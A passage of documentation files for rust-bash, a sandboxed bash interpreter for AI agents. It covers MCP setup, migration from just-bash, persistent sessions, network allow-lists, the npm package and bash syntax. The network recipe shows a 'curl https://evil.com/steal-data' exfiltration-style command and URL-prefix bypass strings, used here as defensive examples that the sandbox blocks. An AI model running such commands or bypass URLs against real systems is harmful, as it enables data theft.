}\n}\n```\n\n## Cursor\n\nAdd to your Cursor MCP configuration (`.cursor/mcp.json` in your project or global config):\n\n```json\n{\n  \"mcpServers\": {\n    \"rust-bash\": {\n      \"command\": \"rust-bash\",\n      \"args\": [\"--mcp\"]\n    }\n  }\n}\n```\n\n## VS Code (GitHub Copilot)\n\nAdd to `.vscode/mcp.json` in your project:\n\n```json\n{\n  \"servers\": {\n    \"rust-bash\": {\n      \"type\": \"stdio\",\n      \"command\": \"rust-bash\",\n      \"args\": [\"--mcp\"]\n    }\n  }\n}\n```\n\nOr add to your VS Code settings (`settings.json`):\n\n```json\n{\n  \"mcp\": {\n    \"servers\": {\n      \"rust-bash\": {\n        \"type\": \"stdio\",\n        \"command\": \"rust-bash\",\n        \"args\": [\"--mcp\"]\n      }\n    }\n  }\n}\n```\n\n## Using a Local Build\n\nIf you've built rust-bash from source, point to the binary:\n\n```json\n{\n  \"mcpServers\": {\n    \"rust-bash\": {\n      \"command\": \"/path/to/rust-bash/target/release/rust-bash\",\n      \"args\": [\"--mcp\"]\n    }\n  }\n}\n```\n\n## Protocol Details\n\nThe MCP server implements the minimal MCP subset over stdio:\n\n- **Transport**: Newline-delimited JSON-RPC over stdin/stdout\n- **Methods**: `initialize`, `tools/list`, `tools/call`\n- **Notifications**: `notifications/initialized` (acknowledged silently)\n\n### Example Session\n\n```\n→ {\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{}}\n← {\"jsonrpc\":\"2.0\",\"id\":1,\"result\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{\"tools\":{}},\"serverInfo\":{\"name\":\"rust-bash\",\"version\":\"0.1.0\"}}}\n\n→ {\"jsonrpc\":\"2.0\",\"method\":\"notifications/initialized\"}\n\n→ {\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/list\",\"params\":{}}\n← {\"jsonrpc\":\"2.0\",\"id\":2,\"result\":{\"tools\":[...]}}\n\n→ {\"jsonrpc\":\"2.0\",\"id\":3,\"method\":\"tools/call\",\"params\":{\"name\":\"bash\",\"arguments\":{\"command\":\"echo hello\"}}}\n← {\"jsonrpc\":\"2.0\",\"id\":3,\"result\":{\"content\":[{\"type\":\"text\",\"text\":\"stdout:\\nhello\\n\\nstderr:\\n\\nexit_code: 0\"}]}}\n```\n\n## Stateful Sessions\n\nThe MCP server maintains a single shell instance across all tool calls. This means:\n\n- Variables set in one `bash` call persist to the next\n- Files written via `write_file` or bash redirections are readable in subsequent calls\n- The working directory changes from `cd` persist\n\nThis is by design — it allows AI agents to build up state across multiple interactions, just like a real shell session.\n","/home/user/docs/recipes/migrating-from-just-bash.md":"# Migrating from just-bash\n\n## Overview\n\n`rust-bash` is designed as a drop-in replacement for `just-bash` with an expanded feature set. This guide covers the key differences and how to migrate your code.\n\n## Installation\n\n```bash\n# Remove just-bash\nnpm uninstall just-bash\n\n# Install rust-bash\nnpm install rust-bash\n```\n\n## API Comparison\n\n### Creating a Bash Instance\n\n**just-bash:**\n\n```typescript\nimport { Bash } from 'just-bash';\n\nconst bash = new Bash({\n  files: { '/data.txt': 'hello' },\n  env: { USER: 'agent' },\n});\n```\n\n**rust-bash:**\n\n```typescript\nimport { Bash, tryLoadNative, createNativeBackend, initWasm, createWasmBackend } from 'rust-bash';\n\n// Choose a backend (native addon for speed, WASM for portability)\nlet createBackend;\nif (await tryLoadNative()) {\n  createBackend = createNativeBackend;\n} else {\n  await initWasm();\n  createBackend = createWasmBackend;\n}\n\nconst bash = await Bash.create(createBackend, {\n  files: { '/data.txt': 'hello' },\n  env: { USER: 'agent' },\n});\n```\n\n**Key difference:** `Bash.create()` is async and requires a backend factory. The backend determines whether commands execute via the native Rust addon (near-native speed) or WASM.\n\n### Executing Commands\n\n**just-bash:**\n\n```typescript\nconst result = bash.exec('echo hello');\nconsole.log(result.stdout);   // \"hello\\n\"\nconsole.log(result.exitCode); // 0\n```\n\n**rust-bash:**\n\n```typescript\nconst result = await bash.exec('echo hello');\nconsole.log(result.stdout);   // \"hello\\n\"\nconsole.log(result.exitCode); // 0\n```\n\n**Key difference:** `exec()` returns a `Promise`. The result shape (`stdout`, `stderr`, `exitCode`) is the same.\n\n### Custom Commands\n\n**just-bash:**\n\n```typescript\nimport { Bash, defineCommand } from 'just-bash';\n\nconst greet = defineCommand('greet', async (args, ctx) => {\n  return { stdout: `Hello, ${args[0]}!\\n`, stderr: '', exitCode: 0 };\n});\n\nconst bash = new Bash({ customCommands: [greet] });\n```\n\n**rust-bash:**\n\n```typescript\nimport { Bash, defineCommand } from 'rust-bash';\n\nconst greet = defineCommand('greet', async (args, ctx) => {\n  return { stdout: `Hello, ${args[0]}!\\n`, stderr: '', exitCode: 0 };\n});\n\nconst bash = await Bash.create(createBackend, { customCommands: [greet] });\n```\n\n**Key difference:** The `defineCommand()` API is identical. Only the `Bash` construction changes.\n\n### Execution Limits\n\n**just-bash:**\n\n```typescript\nconst bash = new Bash({\n  executionLimits: { maxCommandCount: 1000, maxExecutionTimeSecs: 5 },\n});\n```\n\n**rust-bash:**\n\n```typescript\nconst bash = await Bash.create(createBackend, {\n  executionLimits: { maxCommandCount: 1000, maxExecutionTimeSecs: 5 },\n});\n```\n\nThe `executionLimits` interface is the same. All 10 limits are supported:\n\n| Limit | Default |\n|-------|---------|\n| `maxCallDepth` | 100 |\n| `maxCommandCount` | 10,000 |\n| `maxLoopIterations` | 10,000 |\n| `maxExecutionTimeSecs` | 30 |\n| `maxOutputSize` | 10 MB |\n| `maxStringLength` | 10 MB |\n| `maxGlobResults` | 100,000 |\n| `maxSubstitutionDepth` | 50 |\n| `maxHeredocSize` | 10 MB |\n| `maxBraceExpansion` | 10,000 |\n\n## Quick Migration Checklist\n\n| Step | Change |\n|------|--------|\n| 1. Package | `just-bash` → `rust-bash` |\n| 2. Import | `from 'just-bash'` → `from 'rust-bash'` |\n| 3. Backend setup | Add backend detection (see above) |\n| 4. Construction | `new Bash(opts)` → `await Bash.create(createBackend, opts)` |\n| 5. Execution | `bash.exec(cmd)` → `await bash.exec(cmd)` |\n| 6. Custom commands | No change — `defineCommand()` API is identical |\n| 7. Limits | No change — same `executionLimits` interface |\n| 8. Files | No change — same `files` option (eager + lazy supported) |\n\n## New Features in rust-bash\n\nFeatures available in `rust-bash` that aren't in `just-bash`:\n\n### AI Tool Integration (Framework-Agnostic)\n\n```typescript\nimport { bashToolDefinition, createBashToolHandler, formatToolForProvider } from 'rust-bash';\n\nconst { handler } = createBashToolHandler(createNativeBackend, {\n  files: myFiles,\n  maxOutputLength: 10000,\n});\n\n// Works with any AI framework — not locked to Vercel AI SDK\nconst openaiTool = formatToolForProvider(bashToolDefinition, 'openai');\nconst anthropicTool = formatToolForProvider(bashToolDefinition, 'anthropic');\n```\n\n### MCP Server\n\n```bash\n# Built-in MCP server for Claude Desktop, Cursor, VS Code\nrust-bash --mcp\n```\n\n### Network Policy\n\n```typescript\nconst bash = await Bash.create(createBackend, {\n  network: {\n    enabled: true,\n    allowedUrlPrefixes: ['https://api.example.com/'],\n    allowedMethods: ['GET', 'POST'],\n  },\n});\n\nawait bash.exec('curl https://api.example.com/data');\n```\n\n### Direct Filesystem Access\n\n```typescript\nbash.fs.writeFileSync('/output.txt', 'content');\nconst data = bash.fs.readFileSync('/output.txt');\nbash.fs.mkdirSync('/dir', { recursive: true });\nconst entries = bash.fs.readdirSync('/');\n```\n\n### Native Node.js Addon\n\nWhen the native addon is available, commands execute at near-native speed via napi-rs — significantly faster than the pure TypeScript interpreter in `just-bash`.\n\n### Multiple Filesystem Backends (Rust)\n\nWhen using the Rust API directly, you get additional filesystem backends:\n\n- **OverlayFs** — copy-on-write over real files\n- **ReadWriteFs** — direct host filesystem access\n- **MountableFs** — compose backends at mount points\n\n## Browser Usage\n\n**just-bash:**\n\n```typescript\nimport { Bash } from 'just-bash';\nconst bash = new Bash({ files: { '/data.txt': 'hello' } });\n```\n\n**rust-bash:**\n\n```typescript\nimport { Bash, initWasm, createWasmBackend } from 'rust-bash/browser';\n\nawait initWasm();\nconst bash = await Bash.create(createWasmBackend, {\n  files: { '/data.txt': 'hello' },\n});\n```\n\n**Key difference:** Browser usage requires initializing the WASM module first with `initWasm()`. Use the `/browser` entry point for tree-shaking.\n\n## Troubleshooting\n\n### \"Cannot find module 'rust-bash'\"\n\nEnsure you've installed the package:\n\n```bash\nnpm install rust-bash\n```\n\n### \"tryLoadNative is not available\" / native addon not loading\n\nThe native addon requires platform-specific binaries. If they're not available for your platform, the package falls back to WASM automatically. This is normal — WASM provides the same functionality, just slightly slower.\n\n### TypeScript types not resolving\n\nEnsure your `tsconfig.json` has `\"moduleResolution\": \"bundler\"` or `\"node16\"` for proper ESM support:\n\n```json\n{\n  \"compilerOptions\": {\n    \"moduleResolution\": \"bundler\",\n    \"module\": \"ESNext\",\n    \"target\": \"ES2022\"\n  }\n}\n```\n","/home/user/docs/recipes/multi-step-sessions.md":"# Multi-Step Sessions\n\n## Goal\n\nMaintain shell state — variables, files, working directory, functions — across multiple `exec()` calls. This is essential for interactive agents, REPL-like workflows, and multi-turn conversations.\n\n## State That Persists\n\nA `RustBash` instance preserves everything between `exec()` calls:\n\n```rust\nuse rust_bash::RustBashBuilder;\n\nlet mut shell = RustBashBuilder::new().build().unwrap();\n\n// Step 1: Set up environment\nshell.exec(\"HOME=/home/agent && USER=agent\").unwrap();\n\n// Step 2: Create files\nshell.exec(\"mkdir -p /workspace && echo 'task data' > /workspace/input.txt\").unwrap();\n\n// Step 3: Process data — variables and files from steps 1 & 2 are available\nshell.exec(\"cd /workspace\").unwrap();\nlet result = shell.exec(\"echo \\\"User: $USER\\\" && cat input.txt\").unwrap();\nassert!(result.stdout.contains(\"User: agent\"));\nassert!(result.stdout.contains(\"task data\"));\n\n// Step 4: Check cwd persists\nassert_eq!(shell.cwd(), \"/workspace\");\n```\n\n## What Persists vs. What Resets\n\n| Persists across exec() | Resets each exec() |\n|------------------------|--------------------|\n| Environment variables | Execution counters (command count, timer) |\n| Virtual filesystem (all files/dirs) | Control flow state |\n| Current working directory | |\n| Function definitions | |\n| Shell options (errexit, pipefail, etc.) | |\n| Trap handlers | |\n| Positional parameters | |\n| Exit code (accessible via `$?`) | |\n\n## Building a Conversational Agent Loop\n\n```rust\nuse rust_bash::{RustBashBuilder, ExecutionLimits};\nuse std::collections::HashMap;\nuse std::time::Duration;\n\nfn run_agent_session(tasks: &[&str]) {\n    let mut shell = RustBashBuilder::new()\n        .env(HashMap::from([\n            (\"HOME\".into(), \"/home/agent\".into()),\n        ]))\n        .cwd(\"/home/agent\")\n        .execution_limits(ExecutionLimits {\n            max_execution_time: Duration::from_secs(10),\n            max_command_count: 5_000,\n            ..Default::default()\n        })\n        .build()\n        .unwrap();\n\n    for (i, task) in tasks.iter().enumerate() {\n        println!(\"--- Step {} ---\", i + 1);\n        match shell.exec(task) {\n            Ok(result) => {\n                if !result.stdout.is_empty() {\n                    print!(\"{}\", result.stdout);\n                }\n                if !result.stderr.is_empty() {\n                    eprint!(\"{}\", result.stderr);\n                }\n                if result.exit_code != 0 {\n                    eprintln!(\"[exit: {}]\", result.exit_code);\n                }\n            }\n            Err(e) => {\n                eprintln!(\"Error: {e}\");\n                break;\n            }\n        }\n\n        // Stop if the script called `exit`\n        if shell.should_exit() {\n            println!(\"Shell exited.\");\n            break;\n        }\n    }\n}\n\n// Simulate an agent that works in multiple steps\nrun_agent_session(&[\n    \"mkdir -p /work && cd /work\",\n    \"echo 'Hello World' > greeting.txt\",\n    \"cat greeting.txt | tr '[:lower:]' '[:upper:]' > result.txt\",\n    \"cat result.txt\",\n]);\n```\n\n## Functions Persist Across Calls\n\nDefine helper functions in one call, use them in subsequent calls:\n\n```rust\nuse rust_bash::RustBashBuilder;\n\nlet mut shell = RustBashBuilder::new().build().unwrap();\n\n// Define utility functions\nshell.exec(r#\"\n    log() { echo \"[$(date +%H:%M:%S)] $*\"; }\n    check_file() { test -f \"$1\" && echo \"exists\" || echo \"missing\"; }\n\"#).unwrap();\n\n// Use them in later calls\nlet result = shell.exec(\"log 'Starting task'\").unwrap();\nassert!(result.stdout.contains(\"Starting task\"));\n\nshell.exec(\"echo data > /report.txt\").unwrap();\nlet result = shell.exec(\"check_file /report.txt\").unwrap();\nassert_eq!(result.stdout, \"exists\\n\");\n```\n\n## Checking Completion with is_input_complete\n\nFor REPL-like interfaces, use `RustBash::is_input_complete()` to detect whether the user's input is a complete statement or needs more lines:\n\n```rust\nuse rust_bash::RustBash;\n\n// Complete statements\nassert!(RustBash::is_input_complete(\"echo hello\"));\nassert!(RustBash::is_input_complete(\"if true; then echo yes; fi\"));\n\n// Incomplete — need more input\nassert!(!RustBash::is_input_complete(\"if true; then\"));\nassert!(!RustBash::is_input_complete(\"echo 'unterminated\"));\nassert!(!RustBash::is_input_complete(\"for i in 1 2 3; do\"));\n```\n\nThis is a static method — it doesn't need a shell instance.\n\n## Trap Handlers Persist\n\n```rust\nuse rust_bash::RustBashBuilder;\n\nlet mut shell = RustBashBuilder::new().build().unwrap();\n\n// Set an EXIT trap\nshell.exec(\"trap 'echo cleanup done' EXIT\").unwrap();\n\n// The trap fires at the end of each exec() call\nlet result = shell.exec(\"echo work\").unwrap();\nassert!(result.stdout.contains(\"work\"));\nassert!(result.stdout.contains(\"cleanup done\"));\n```\n\n## Detecting the exit Command\n\n```rust\nuse rust_bash::RustBashBuilder;\n\nlet mut shell = RustBashBuilder::new().build().unwrap();\n\nshell.exec(\"echo working\").unwrap();\nassert!(!shell.should_exit());\n\nshell.exec(\"exit 0\").unwrap();\nassert!(shell.should_exit());\n// Don't send more exec() calls after this\n```\n","/home/user/docs/recipes/network-access.md":"# Network Access\n\n## Goal\n\nAllow scripts to make controlled HTTP requests via `curl`, with URL allow-listing and method restrictions.\n\n## Network Is Disabled by Default\n\nBy default, all network access is blocked. The `curl` command will fail:\n\n```rust\nuse rust_bash::RustBashBuilder;\n\nlet mut shell = RustBashBuilder::new().build().unwrap();\nlet result = shell.exec(\"curl https://example.com\").unwrap();\nassert_ne!(result.exit_code, 0);\nassert!(result.stderr.contains(\"network access is disabled\"));\n```\n\n## Enabling Network Access\n\nUse `NetworkPolicy` to enable `curl` with an allow-list of URL prefixes:\n\n```rust\nuse rust_bash::{RustBashBuilder, NetworkPolicy};\n\nlet mut shell = RustBashBuilder::new()\n    .network_policy(NetworkPolicy {\n        enabled: true,\n        allowed_url_prefixes: vec![\n            \"https://api.example.com/\".into(),\n            \"https://httpbin.org/\".into(),\n        ],\n        ..Default::default()\n    })\n    .build()\n    .unwrap();\n\n// Allowed — matches a prefix\n// shell.exec(\"curl https://api.example.com/v1/users\").unwrap();\n\n// Blocked — no matching prefix\nlet result = shell.exec(\"curl https://evil.com/steal-data\").unwrap();\nassert_ne!(result.exit_code, 0);\n```\n\n## NetworkPolicy Fields\n\n| Field | Type | Default | Description |\n|-------|------|---------|-------------|\n| `enabled` | `bool` | `false` | Master switch for network access |\n| `allowed_url_prefixes` | `Vec<String>` | `[]` | URLs must start with one of these prefixes |\n| `allowed_methods` | `HashSet<String>` | `{\"GET\", \"POST\"}` | Allowed HTTP methods |\n| `max_redirects` | `usize` | `5` | Maximum redirect follows |\n| `max_response_size` | `usize` | `10 MB` | Maximum response body size in bytes |\n| `timeout` | `Duration` | `30s` | Per-request timeout |\n\n## Restricting HTTP Methods\n\nBy default only GET and POST are allowed. Customize as needed:\n\n```rust\nuse rust_bash::{RustBashBuilder, NetworkPolicy};\nuse std::collections::HashSet;\n\nlet mut shell = RustBashBuilder::new()\n    .network_policy(NetworkPolicy {\n        enabled: true,\n        allowed_url_prefixes: vec![\"https://api.example.com/\".into()],\n        allowed_methods: HashSet::from([\n            \"GET\".into(),\n            \"POST\".into(),\n            \"PUT\".into(),\n            \"DELETE\".into(),\n        ]),\n        ..Default::default()\n    })\n    .build()\n    .unwrap();\n```\n\n## Using curl in Scripts\n\nrust-bash's `curl` supports common flags:\n\n```bash\n# GET request\ncurl https://api.example.com/users\n\n# POST with data\ncurl -X POST -d '{\"name\":\"alice\"}' -H 'Content-Type: application/json' https://api.example.com/users\n\n# Save response to file\ncurl -o /output.json https://api.example.com/data\n\n# Include response headers\ncurl -i https://api.example.com/status\n\n# Fail silently on HTTP errors\ncurl -f https://api.example.com/might-404\n\n# Write-out format (e.g., status code)\ncurl -w '%{http_code}' -o /dev/null https://api.example.com/health\n```\n\n## Combining with jq for API Workflows\n\n```bash\n# Fetch JSON and extract a field\ncurl -s https://api.example.com/user/1 | jq -r '.name'\n\n# Post data, check status\ncurl -s -X POST -d '{\"key\":\"val\"}' https://api.example.com/items | jq '.id'\n```\n\n## Security Considerations\n\n- **URL normalization**: URLs are parsed and normalized before prefix matching to prevent bypasses (e.g., `https://api.example.com@evil.com/` is rejected).\n- **No subdomain confusion**: A prefix of `https://api.example.com` (without trailing slash) won't match `https://api.example.com.evil.com/` — the URL is normalized with `url::Url` which appends a trailing slash.\n- **Method validation**: HTTP methods are uppercased before comparison.\n\nFor maximum safety, always use trailing slashes in URL prefixes:\n\n```rust\nuse rust_bash::NetworkPolicy;\n\n// Good — specific path prefix with trailing slash\nlet good = NetworkPolicy {\n    enabled: true,\n    allowed_url_prefixes: vec![\"https://api.example.com/v1/\".into()],\n    ..Default::default()\n};\n\n// Less specific — allows any path on the domain\nlet broad = NetworkPolicy {\n    enabled: true,\n    allowed_url_prefixes: vec![\"https://api.example.com/\".into()],\n    ..Default::default()\n};\n```\n\n---\n\n## TypeScript: Network Configuration\n\nThe `rust-bash` npm package supports the same network policy:\n\n```typescript\nimport { Bash } from 'rust-bash';\n\nconst bash = await Bash.create(createBackend, {\n  network: {\n    enabled: true,\n    allowedUrlPrefixes: [\n      'https://api.example.com/',\n      'https://httpbin.org/',\n    ],\n    allowedMethods: ['GET', 'POST'],\n    maxResponseSize: 10 * 1024 * 1024, // 10 MB\n    maxRedirects: 5,\n    timeoutSecs: 30,\n  },\n});\n\n// Allowed — matches a prefix\nawait bash.exec('curl https://api.example.com/v1/users');\n\n// Blocked — no matching prefix\nconst result = await bash.exec('curl https://evil.com/steal-data');\nconsole.log(result.exitCode); // non-zero\n```\n\n### NetworkConfig Fields (TypeScript)\n\n| Field | Type | Default | Description |\n|-------|------|---------|-------------|\n| `enabled` | `boolean` | `false` | Master switch for network access |\n| `allowedUrlPrefixes` | `string[]` | `[]` | URLs must start with one of these |\n| `allowedMethods` | `string[]` | `['GET', 'POST']` | Allowed HTTP methods |\n| `maxResponseSize` | `number` | `10485760` | Max response body size in bytes |\n| `maxRedirects` | `number` | `5` | Max redirect follows |\n| `timeoutSecs` | `number` | `30` | Per-request timeout in seconds |\n\n> **Note:** Network access is only available when using the native addon backend on Node.js. The WASM backend in browsers does not support `curl`.\n","/home/user/docs/recipes/npm-package.md":"# npm Package\n\n## Goal\n\nInstall and use the `rust-bash` npm package to run sandboxed bash scripts from TypeScript or JavaScript — in Node.js or the browser.\n\n## Installation\n\n```bash\nnpm install rust-bash\n```\n\nRequires Node.js 18 or later.\n\n## Basic Usage\n\n```typescript\nimport { Bash, initWasm, createWasmBackend } from 'rust-bash';\n\nawait initWasm();\n\nconst bash = await Bash.create(createWasmBackend, {\n  files: { '/data.txt': 'hello world' },\n  env: { USER: 'agent' },\n});\n\nconst result = await bash.exec('cat /data.txt | tr a-z A-Z');\nconsole.log(result.stdout);   // \"HELLO WORLD\\n\"\nconsole.log(result.stderr);   // \"\"\nconsole.log(result.exitCode); // 0\n```\n\n## Node.js: Auto-Detecting the Backend\n\nIn Node.js, the package supports two backends. The native addon is faster; the WASM backend is a universal fallback:\n\n```typescript\nimport {\n  Bash,\n  tryLoadNative, createNativeBackend,\n  initWasm, createWasmBackend,\n} from 'rust-bash';\n\nlet createBackend;\nif (await tryLoadNative()) {\n  createBackend = createNativeBackend;  // Native addon (fast)\n} else {\n  await initWasm();\n  createBackend = createWasmBackend;    // WASM fallback (universal)\n}\n\nconst bash = await Bash.create(createBackend, {\n  files: { '/data.txt': 'hello world' },\n  env: { USER: 'agent' },\n});\n\nconst result = await bash.exec('cat /data.txt | grep hello');\nconsole.log(result.stdout); // \"hello world\\n\"\n```\n\n## Browser Usage\n\nIn the browser, import from `rust-bash/browser` — this entry point excludes the native addon loader:\n\n```typescript\nimport { Bash, initWasm, createWasmBackend } from 'rust-bash/browser';\n\nawait initWasm();\n\nconst bash = await Bash.create(createWasmBackend, {\n  files: { '/hello.txt': 'Hello from WASM!' },\n});\n\nconst result = await bash.exec('cat /hello.txt');\nconsole.log(result.stdout); // \"Hello from WASM!\\n\"\n```\n\nBrowser-specific considerations:\n- Only `InMemoryFs` is available (no host filesystem access)\n- Only WASM backend — no native addon\n- `sleep` is not supported\n- Use custom commands to bridge browser APIs like `fetch()`\n\n## File Seeding\n\nPopulate the virtual filesystem at creation time with the `files` option:\n\n### Eager Files (String)\n\nWritten immediately when the instance is created:\n\n```typescript\nconst bash = await Bash.create(createBackend, {\n  files: {\n    '/data.json': '{\"name\": \"world\"}',\n    '/config.yml': 'debug: true',\n    '/src/main.rs': 'fn main() {}',\n  },\n});\n```\n\nParent directories are created automatically — `/src/` doesn't need to exist beforehand.\n\n### Lazy Sync Files\n\nProvide a function that returns a string. It's resolved on first `exec()` or `readFile()` call — not during `Bash.create()`:\n\n```typescript\nconst bash = await Bash.create(createBackend, {\n  files: {\n    '/config.json': () => JSON.stringify(getConfig()),\n    '/timestamp.txt': () => new Date().toISOString(),\n  },\n});\n```\n\n### Lazy Async Files\n\nProvide an async function. All lazy files are resolved concurrently on first `exec()` call:\n\n```typescript\nconst bash = await Bash.create(createBackend, {\n  files: {\n    '/remote-data.txt': async () => {\n      const res = await fetch('https://api.example.com/data');\n      return await res.text();\n    },\n    '/other-data.txt': async () => {\n      const res = await fetch('https://api.example.com/other');\n      return await res.text();\n    },\n  },\n});\n// Both fetches run in parallel on first exec() call\n```\n\n### Mixing All Three\n\n```typescript\nconst bash = await Bash.create(createBackend, {\n  files: {\n    '/data.txt': 'hello world',                       // eager\n    '/config.json': () => JSON.stringify(getConfig()), // lazy sync\n    '/remote.txt': async () => fetchData(),            // lazy async\n  },\n});\n```\n\n## Custom Commands with defineCommand\n\nCreate custom commands that scripts can call like built-ins:\n\n```typescript\nimport { Bash, defineCommand } from 'rust-bash';\n\nconst greet = defineCommand('greet', async (args, ctx) => {\n  const name = args[0] ?? 'world';\n  return { stdout: `Hello, ${name}!\\n`, stderr: '', exitCode: 0 };\n});\n\nconst fetchCmd = defineCommand('fetch', async (args, ctx) => {\n  const url = args[0];\n  if (!url) {\n    return { stdout: '', stderr: 'fetch: missing URL\\n', exitCode: 1 };\n  }\n  const response = await globalThis.fetch(url);\n  return {\n    stdout: await response.text(),\n    stderr: '',\n    exitCode: response.ok ? 0 : 1,\n  };\n});\n\nconst bash = await Bash.create(createBackend, {\n  customCommands: [greet, fetchCmd],\n});\n\nawait bash.exec('greet Alice');           // \"Hello, Alice!\\n\"\nawait bash.exec('fetch https://example.com | grep -i title');\n```\n\n### Command Context\n\nCustom command callbacks receive `(args, ctx)` where `ctx` provides:\n\n| Property | Type | Description |\n|----------|------|-------------|\n| `ctx.fs` | `FileSystemProxy` | Read/write the virtual filesystem |\n| `ctx.cwd` | `string` | Current working directory |\n| `ctx.env` | `Record<string, string>` | Shell environment variables |\n| `ctx.stdin` | `string` | Piped standard input |\n| `ctx.exec` | `(cmd, opts?) => Promise<ExecResult>` | Execute sub-commands |\n\n```typescript\nconst deploy = defineCommand('deploy', async (args, ctx) => {\n  // Read a file from VFS\n  const manifest = ctx.fs.readFileSync('/app/manifest.json');\n  const version = JSON.parse(manifest).version;\n\n  // Execute a sub-command\n  const build = await ctx.exec('cat /app/build.log | tail -1');\n\n  return {\n    stdout: `Deploying v${version}: ${build.stdout}`,\n    stderr: '',\n    exitCode: 0,\n  };\n});\n```\n\n## TypeScript Types Overview\n\n### Core Types\n\n```typescript\n// File entry types\ntype EagerFile = string;\ntype LazySyncFile = () => string;\ntype LazyAsyncFile = () => Promise<string>;\ntype FileEntry = EagerFile | LazySyncFile | LazyAsyncFile;\n\n// Execution result\ninterface ExecResult {\n  stdout: string;\n  stderr: string;\n  exitCode: number;\n}\n\n// Per-exec options\ninterface ExecOptions {\n  env?: Record<string, string>;\n  replaceEnv?: boolean;\n  cwd?: string;\n  stdin?: string;\n  rawScript?: boolean;\n  args?: string[];\n}\n```\n\n### Configuration Types\n\n```typescript\ninterface BashOptions {\n  files?: Record<string, FileEntry>;\n  env?: Record<string, string>;\n  cwd?: string;\n  commands?: string[];                  // command allow-list\n  customCommands?: CustomCommand[];\n  executionLimits?: ExecutionLimits;\n}\n\ninterface ExecutionLimits {\n  maxCommandCount?: number;             // default: 10,000\n  maxExecutionTimeSecs?: number;        // default: 30\n  maxLoopIterations?: number;           // default: 10,000\n  maxOutputSize?: number;               // default: 10 MB\n  maxCallDepth?: number;                // default: 25\n  maxStringLength?: number;             // default: 10 MB\n  maxGlobResults?: number;              // default: 100,000\n  maxSubstitutionDepth?: number;        // default: 50\n  maxHeredocSize?: number;              // default: 10 MB\n  maxBraceExpansion?: number;           // default: 10,000\n}\n```\n\n### Custom Command Types\n\n```typescript\ninterface CustomCommand {\n  name: string;\n  execute: (args: string[], ctx: CommandContext) => Promise<ExecResult>;\n}\n\ninterface CommandContext {\n  fs: FileSystemProxy;\n  cwd: string;\n  env: Record<string, string>;\n  stdin: string;\n  exec: (command: string, options?: { cwd?: string; stdin?: string }) => Promise<ExecResult>;\n}\n```\n\n### FileSystemProxy\n\n```typescript\ninterface FileSystemProxy {\n  readFileSync(path: string): string;\n  writeFileSync(path: string, content: string): void;\n  existsSync(path: string): boolean;\n  mkdirSync(path: string, options?: { recursive?: boolean }): void;\n  readdirSync(path: string): string[];\n  statSync(path: string): FileStat;\n  rmSync(path: string, options?: { recursive?: boolean }): void;\n}\n\ninterface FileStat {\n  isFile: boolean;\n  isDirectory: boolean;\n  size: number;\n}\n```\n\n## Package Exports Structure\n\n| Export Path | Environment | Includes |\n|-------------|-------------|----------|\n| `rust-bash` | Node.js | `Bash`, `defineCommand`, native + WASM loaders, AI tool helpers |\n| `rust-bash/browser` | Browser | `Bash`, `defineCommand`, WASM loader only |\n\n### Key Exports\n\n| Export | Description |\n|--------|-------------|\n| `Bash` | Main class — `Bash.create(backend, options)` |\n| `defineCommand` | Factory for custom commands |\n| `initWasm` | Initialize the WASM module |\n| `createWasmBackend` | Create a WASM-backed instance |\n| `tryLoadNative` | Check if the native addon is available (Node.js only) |\n| `createNativeBackend` | Create a native addon instance (Node.js only) |\n| `bashToolDefinition` | JSON Schema tool definition for AI function calling |\n| `createBashToolHandler` | Factory for AI tool handlers |\n| `formatToolForProvider` | Format tools for OpenAI, Anthropic, or MCP |\n| `handleToolCall` | Multi-tool dispatcher |\n\n## Next Steps\n\n- [Getting Started](getting-started.md) — Rust and TypeScript quick start\n- [WASM Usage](wasm-usage.md) — building WASM from source, browser integration\n- [Convenience API](convenience-api.md) — command filtering, transform plugins, safe args\n- [Custom Commands](custom-commands.md) — in-depth custom command guide\n- [Embedding in an AI Agent](ai-agent-tool.md) — use as a tool for LLM function calling\n","/home/user/docs/recipes/shell-scripting.md":"# Shell Scripting Features\n\n## Goal\n\nLeverage rust-bash's full bash syntax support: variables, control flow, functions, subshells, arithmetic, and more.\n\n## Variables and Expansion\n\n### Basic variables\n\n```bash\nNAME=\"world\"\necho \"Hello, $NAME\"          # Hello, world\necho \"Hello, ${NAME}!\"       # Hello, world!\n```\n\n### Parameter expansion operators\n\n```bash\n# Default values\necho ${UNSET:-default}        # default (UNSET stays unset)\necho ${UNSET:=fallback}       # fallback (UNSET is now \"fallback\")\n\n# Error if unset\necho ${REQUIRED:?must be set} # error if REQUIRED is unset\n\n# Alternative value\nVAR=hello\necho ${VAR:+exists}           # exists (because VAR is set)\n\n# String length\necho ${#VAR}                  # 5\n\n# Substring\necho ${VAR:1:3}               # ell\n\n# Case modification\necho ${VAR^}                  # Hello (capitalize first)\necho ${VAR^^}                 # HELLO (capitalize all)\nSTR=HELLO\necho ${STR,}                  # hELLO (lowercase first)\necho ${STR,,}                 # hello (lowercase all)\n```\n\n### Pattern removal and substitution\n\n```bash\nFILE=\"archive.tar.gz\"\necho ${FILE%.*}               # archive.tar  (remove shortest suffix)\necho ${FILE%%.*}              # archive      (remove longest suffix)\necho ${FILE#*.}               # tar.gz       (remove shortest prefix)\necho ${FILE##*.}              # gz           (remove longest prefix)\n\necho ${FILE/tar/zip}          # archive.zip.gz (replace first match)\necho ${FILE//a/A}             # Archive.tAr.gz (replace all)\n```\n\n### Special variables\n\n```bash\necho $?                       # Exit code of last command\necho $$                       # Shell PID (always 1 in rust-bash)\necho $0                       # Shell name (\"rust-bash\")\nset -- a b c\necho $#                       # 3 (positional param count)\necho $1 $2 $3                 # a b c\necho $@                       # a b c (all params)\necho $RANDOM                  # Random number 0–32767\n```\n\n## Control Flow\n\n### If/elif/else\n\n```bash\nif [ -f /data.txt ]; then\n    echo \"file exists\"\nelif [ -d /data ]; then\n    echo \"directory exists\"\nelse\n    echo \"nothing found\"\nfi\n```\n\n### Test expressions\n\n```bash\n# File tests\n[ -e /path ]     # exists\n[ -f /path ]     # is regular file\n[ -d /path ]     # is directory\n[ -L /path ]     # is symlink\n[ -s /path ]     # exists and non-empty\n\n# String tests\n[ -z \"$VAR\" ]    # is empty\n[ -n \"$VAR\" ]    # is non-empty\n[ \"$A\" = \"$B\" ]  # string equality\n[ \"$A\" != \"$B\" ] # string inequality\n\n# Numeric comparisons\n[ \"$X\" -eq 5 ]   # equal\n[ \"$X\" -lt 10 ]  # less than\n[ \"$X\" -ge 0 ]   # 